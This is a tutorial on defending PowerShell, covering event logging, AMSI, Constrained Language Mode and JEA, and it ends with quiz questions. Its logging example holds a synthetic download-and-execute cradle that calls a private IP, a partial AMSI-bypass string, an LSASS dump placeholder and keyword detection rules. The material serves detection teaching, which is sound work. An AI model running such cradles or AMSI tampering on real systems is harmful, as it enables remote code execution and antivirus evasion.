PowerShell Security: Logging, AMSI, CLM and JEA
PowerShell is the administrator's best tool on Windows, and for exactly that reason it was for years the attacker's favourite: installed everywhere, trusted by every allow-list, able to call any .NET or Windows API, and able to run code that never touches the disk. The answer Microsoft built is not to remove PowerShell but to make it the most observable and restrictable scripting environment on the system. Four features do the work: logging that records what really ran, AMSI that lets antivirus inspect it, Constrained Language Mode that removes the dangerous parts of the language for untrusted users, and Just Enough Administration that gives operators exactly the commands they need. This lesson shows each one and how defenders use it.
The language itself is taught in PowerShell; remoting in Remoting and Jobs.
Logging: what really ran
| Feature | Where | What it records |
|---|---|---|
| Script block logging | Microsoft-Windows-PowerShell/Operational, event 4104 |
the text of every script block compiled, after decoding: base64 -EncodedCommand, strings built at run time and passed to Invoke-Expression all appear as the code that ran. Long scripts are split over several 4104 events. Even without the policy, Windows PowerShell 5.1 logs blocks containing suspicious keywords at Warning level |
| Module logging | same channel, event 4103 | pipeline execution details: commands and their parameter values |
| Transcription | text files in a folder you choose | everything typed and printed in each session, like a screen recording in text |
| Engine start | Windows PowerShell log, event 400 |
EngineVersion of each session; a 2.0 engine means a downgrade (PowerShell 2.0 has none of these features) |
Turn them on with Group Policy (Administrative Templates → Windows Components → Windows PowerShell). Script block logging can capture secrets that scripts contain; protect the log or use Protected Event Logging, which encrypts events with a certificate only the SIEM side can decrypt.
Reading 4104 events
The export below holds four synthetic 4104 events from WS01. Two arrived as -EncodedCommand launches (base64 of UTF-16LE text, which is how the command line looks in 4688), so the script decodes those command lines too and runs a simple keyword rule over the code. The keywords are typical of the techniques in this course (downloads, in-memory execution, LSASS access, AMSI tampering). The encoded commands are harmless lab strings.
function Encode([string]$s) { [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($s)) }
$cmdlines = @( # 4688 command lines from the same host (synthetic)
"powershell.exe -NoProfile -EncodedCommand $(Encode "Get-Service | Where-Object Status -eq 'Stopped'")",
"powershell.exe -nop -w hidden -enc $(Encode "IEX (New-Object Net.WebClient).DownloadString('http://10.10.0.5/a.ps1')")"
)
$blocks = @'
[
{"Time":"09:12:03","User":"CORP\\alice","Text":"Get-ChildItem C:\\Reports | Measure-Object"},
{"Time":"09:40:17","User":"CORP\\bob","Text":"$p = Get-Process lsass; Save-LabDump -Id $p.Id # placeholder for a dump step"},
{"Time":"09:41:02","User":"CORP\\bob","Text":"[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')"},
{"Time":"09:43:55","User":"CORP\\alice","Text":"Import-Module ActiveDirectory; Get-ADUser -Filter * -Properties servicePrincipalName"}
]
'@ | ConvertFrom-Json
$rules = [ordered]@{
'download cradle' = 'DownloadString|DownloadFile|Invoke-WebRequest|Net\.WebClient'
'in-memory exec' = '\bIEX\b|Invoke-Expression'
'LSASS access' = 'lsass|MiniDump'
'AMSI tampering' = 'AmsiUtils|amsiInitFailed'
'SPN enumeration' = 'servicePrincipalName'
}
function Test-Code([string]$code) {
@($rules.Keys | Where-Object { $code -match $rules[$_] })
}
"== encoded command lines (4688)"
foreach ($c in $cmdlines) {
$b64 = ($c -split '\s+')[-1]
$code = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($b64))
$hits = Test-Code $code
"decoded: $code"
" -> " + $(if ($hits) { 'ALERT ' + ($hits -join ', ') } else { 'no rule matched' })
}
"== script blocks (4104)"
foreach ($b in $blocks) {
$hits = Test-Code $b.Text
"{0} {1,-11} {2}" -f $b.Time, $b.User, $(if ($hits) { 'ALERT ' + ($hits -join ', ') } else { 'ok' })
}== encoded command lines (4688)
decoded: Get-Service | Where-Object Status -eq 'Stopped'
-> no rule matched
decoded: IEX (New-Object Net.WebClient).DownloadString('http://10.10.0.5/a.ps1')
-> ALERT download cradle, in-memory exec
== script blocks (4104)
09:12:03 CORP\alice ok
09:40:17 CORP\bob ALERT LSASS access
09:41:02 CORP\bob ALERT AMSI tampering
09:43:55 CORP\alice ALERT SPN enumeration
The second command line hides a download-and-execute behind base64; decoded, it is plain. Bob's two blocks are the shapes of an LSASS dump and an AMSI bypass attempt: by the time AMSI is being tampered with, 4104 has already recorded the attempt. Alice's last block, listing all users with their SPNs, matches a rule too, and it may be perfectly legitimate: an admin auditing service accounts runs the same query. That alert needs context (who, from where, how often), which is the topic of Kerberoasting.
AMSI
The Antimalware Scan Interface lets script hosts (PowerShell, the Windows Script Host, Office VBA, .NET in-memory assembly loads) hand content to the installed antivirus just before it runs, after de-obfuscation. A script that is downloaded and run in memory never touches the disk, but AMSI still sees its text. Attackers therefore try to disable AMSI in their own process (the AmsiUtils block above is the classic attempt); defenders see those attempts in 4104, in antivirus events (Defender 1116/1117) and through EDR. AMSI is a sensor, not a wall: code that runs with full privileges can switch it off in its own process, so the detection value lies in the attempt being logged.
Constrained Language Mode
Constrained Language Mode (CLM) keeps cmdlets, pipelines and the basic language, but blocks what turns PowerShell into a general-purpose programming platform: arbitrary .NET method calls, creating arbitrary .NET or COM objects, Add-Type to compile C#. The program below creates a runspace in CLM and tries a few statements in it; this runs in PowerShell 7.6, and the same rules apply in Windows PowerShell 5.1.
$iss = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault2()
$iss.LanguageMode = 'ConstrainedLanguage'
$tests = [ordered]@{
'language mode' = '$ExecutionContext.SessionState.LanguageMode'
'cmdlets and pipelines' = '1..5 | Measure-Object -Sum | Select-Object -ExpandProperty Sum'
'string method (core type)' = '"corp.lab.test".ToUpper()'
'static .NET call' = '[System.Math]::Sqrt(16)'
'file read via .NET' = '[System.IO.File]::ReadAllText("/etc/hostname")'
'New-Object of a .NET type' = '(New-Object System.Net.WebClient).GetType().Name'
'Add-Type (compile C#)' = 'Add-Type -TypeDefinition "public class X {}"'
}
foreach ($name in $tests.Keys) {
$ps = [powershell]::Create($iss)
$null = $ps.AddScript($tests[$name])
$err = $null
try { $out = $ps.Invoke() } catch { $out = $null; $err = $_.Exception.InnerException.Message }
if ($ps.Streams.Error.Count) { $err = $ps.Streams.Error[0].ToString() }
if ($err) { "{0,-27} BLOCKED {1}" -f $name, $err } else { "{0,-27} ok {1}" -f $name, ($out -join ',') }
$ps.Dispose()
}language mode ok ConstrainedLanguage
cmdlets and pipelines ok 15
string method (core type) ok CORP.LAB.TEST
static .NET call BLOCKED Cannot invoke method. Method invocation is supported only on core types in this language mode.
file read via .NET BLOCKED Cannot invoke method. Method invocation is supported only on core types in this language mode.
New-Object of a .NET type BLOCKED Cannot create type. Only core types are supported in this language mode.
Add-Type (compile C#) BLOCKED Cannot add type. Definition of new types is not supported in this language mode.
The allow-list is narrow: only a set of "core types" may have methods called, and in this build even [System.Math] is outside it. Administration with cmdlets still works; the download-and-execute line from the previous example fails at New-Object.
How CLM is enforced matters more than what it blocks. Setting $ExecutionContext.SessionState.LanguageMode by hand is trivially undone. The supported enforcement is an application control policy: with App Control for Business (formerly WDAC) or AppLocker in enforced mode, PowerShell runs interactive input and unapproved scripts in CLM and only scripts allowed by the policy (for example signed by your admin certificate) in Full Language. The environment variable __PSLockdownPolicy is a test switch, not a security control.
Just Enough Administration
JEA applies least privilege to remote administration. A JEA endpoint is a PowerShell remoting session configuration (.pssc file) that:
- maps AD groups to role capabilities (
.psrcfiles) listing exactly which cmdlets, parameters and parameter values each role may use (for exampleRestart-Servicewith-Namelimited toSpooler,W3SVC); - runs in
NoLanguagemode, so users can only call the visible commands; - executes as a temporary virtual account (or a gMSA) that is local admin for the session, so the operator's own account needs no admin rights at all;
- writes a transcript of every session.
A help desk that can restart print spoolers through JEA no longer needs to be local admin on the print servers, which removes one of the edges from the attack graph of the introduction.
How misuse is detected
- 4104 with keyword and decoding rules as above, plus 4688 with
-enc/-EncodedCommand,-w hidden,-nop, and PowerShell started by Office applications,wmiprvse.exeormshta.exe. - Event 400 with
EngineVersion=2.0(downgrade attempt), and the PowerShell 2.0 feature being installed. Microsoft removed the PowerShell 2.0 engine from Windows 11 24H2 (August 2025 update) and Windows Server 2025 (September 2025 update); on older systems, remove the optional feature. - Remote sessions: WinRM logs and 4624 logon type 3 to
wsmprovhost.exe; JEA transcripts. - Gaps in logging: a host that sends no 4104 events at all while users run PowerShell has had logging turned off (watch 4719 and the policy registry keys).
How it is hardened
- GPO: script block logging on (with protected event logging), module logging for key modules, transcription to a write-only share.
- App Control for Business in enforcement mode (CLM for everything unapproved), signed admin scripts.
- Remove PowerShell 2.0 wherever it still exists.
- Keep AMSI-aware antivirus on; alert on AMSI tamper attempts.
- JEA endpoints for recurring operator tasks instead of admin rights.
Pitfalls
- Blocking
powershell.exeonly. The engine is a DLL any program can host; block or constrain the capability (App Control), not one file name. - Logging without reading. 4104 volume is high; rules and baselines per user group make it usable.
- JEA roles that allow
Invoke-Expression,Start-Processor a script with free-form parameters give back full control. Review role capabilities like code. - Believing CLM is a boundary when it is set by hand. Only an enforced application-control policy makes it stick.
Practice
1. Why does script block logging see the decoded text of an -EncodedCommand launch?
Logging happens when the engine compiles a script block, after the command line has been decoded and any strings passed to Invoke-Expression have been built. The obfuscation is gone by then.
2. In the CLM test, which line of the earlier download cradle fails first?
New-Object Net.WebClient: creating a non-core .NET type is blocked ("Cannot create type. Only core types are supported in this language mode.").
3. Design a JEA role for the help desk that may reset printers on FS01. What does it contain, and what must it not contain?
VisibleCmdlets with Restart-Service limited to -Name Spooler and Get-Printer/Get-PrintJob; mapped to the IT-Helpdesk group in the session configuration, with RunAsVirtualAccount and a transcript directory. It must not contain Invoke-Expression, Start-Process, Add-Type or any cmdlet with an unrestricted path or script parameter.
Test yourself
Which event ID records PowerShell script block logging?
- 4103
- 4104
- 4688
- 400
What does AMSI let antivirus do?
- Scan the disk faster
- Inspect script content just before it runs, after de-obfuscation, even for in-memory code
- Block all PowerShell
- Encrypt event logs
What is the supported way to enforce Constrained Language Mode?
- Set
$ExecutionContext.SessionState.LanguageModein the profile - An enforced App Control for Business (WDAC) or AppLocker policy
- The
__PSLockdownPolicyenvironment variable - Renaming powershell.exe
What does a JEA endpoint give a help-desk operator?
- Domain Admin rights
- Only the listed commands and parameters, run as a temporary virtual account, with a transcript
- An RDP session
- Full Language mode